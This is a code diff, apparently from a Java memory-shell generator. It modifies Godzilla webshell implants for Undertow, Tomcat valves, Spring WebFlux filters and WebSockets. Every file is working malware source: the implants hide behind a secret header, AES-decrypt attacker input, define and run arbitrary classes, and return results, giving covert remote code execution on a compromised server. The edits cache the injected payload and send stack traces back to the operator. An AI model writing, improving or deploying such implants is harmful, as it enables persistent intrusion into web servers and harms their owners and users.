@@ -3,17 +3,19 @@ package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaUndertowServletHandler extends ClassLoader { public class GodzillaUndertowServletHandler extends ClassLoader {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaUndertowServletHandler() { public GodzillaUndertowServletHandler() {
} }
@@ -36,25 +38,28 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
byte[] data = base64Decode(parameter); try {
data = this.x(data, false); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
Object session = request.getClass().getMethod("getSession").invoke(request); byte[] data = base64Decode(parameter);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); writer.write(md5.substring(0, 16));
writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16));
writer.write(md5.substring(16)); }
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return true; return true;
} }
@@ -91,4 +96,19 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
+43 -23
View File
@@ -7,19 +7,21 @@ import org.apache.catalina.connector.Response;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaValve extends ClassLoader implements Valve { public class GodzillaValve extends ClassLoader implements Valve {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaValve() { public GodzillaValve() {
} }
@@ -33,23 +35,26 @@ public class GodzillaValve extends ClassLoader implements Valve {
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaValve(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
response.flushBuffer(); }
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return; return;
} }
@@ -87,6 +92,21 @@ public class GodzillaValve extends ClassLoader implements Valve {
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
protected Valve next; protected Valve next;
protected boolean asyncSupported; protected boolean asyncSupported;
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java
+27 -10
View File
@@ -11,6 +11,7 @@ import reactor.core.publisher.Mono;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
/** /**
@@ -18,12 +19,12 @@ import java.nio.charset.StandardCharsets;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class GodzillaWebFilter extends ClassLoader implements WebFilter { public class GodzillaWebFilter extends ClassLoader implements WebFilter {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
public Class<?> payload; private static Class<?> payload;
public GodzillaWebFilter() { public GodzillaWebFilter() {
} }
@@ -63,6 +64,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
result.append(getErrorMessage(e));
} }
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
}); });
@@ -71,10 +73,10 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
try { try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); Object encoder = java.lang.Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); Object encoder = java.lang.Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
} }
@@ -82,10 +84,10 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
try { try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); Object decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); Object decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
} }
@@ -95,4 +97,19 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java
+24 -2
View File
@@ -7,6 +7,7 @@ import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler; import javax.websocket.MessageHandler;
import javax.websocket.Session; import javax.websocket.Session;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
@@ -23,22 +24,28 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
@Override @Override
public void onMessage(String message) { public void onMessage(String message) {
byte[] result = null;
try { try {
byte[] data = base64Decode(message); byte[] data = base64Decode(message);
data = x(data, false); data = x(data, false);
if (payload == null || (data[0] == -54 && data[1] == -2)) { if (payload == null || (data[0] == -54 && data[1] == -2)) {
payload = reflectionDefineClass(data); payload = reflectionDefineClass(data);
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true))); result = "ok".getBytes();
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(data); f.equals(data);
f.toString(); f.toString();
session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true))); result = arrOut.toByteArray();
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
result = getErrorMessage(e).getBytes();
}
try {
session.getBasicRemote().sendText(base64Encode(x(result, true)));
} catch (Exception ignored) {
} }
} }
@@ -103,4 +110,19 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }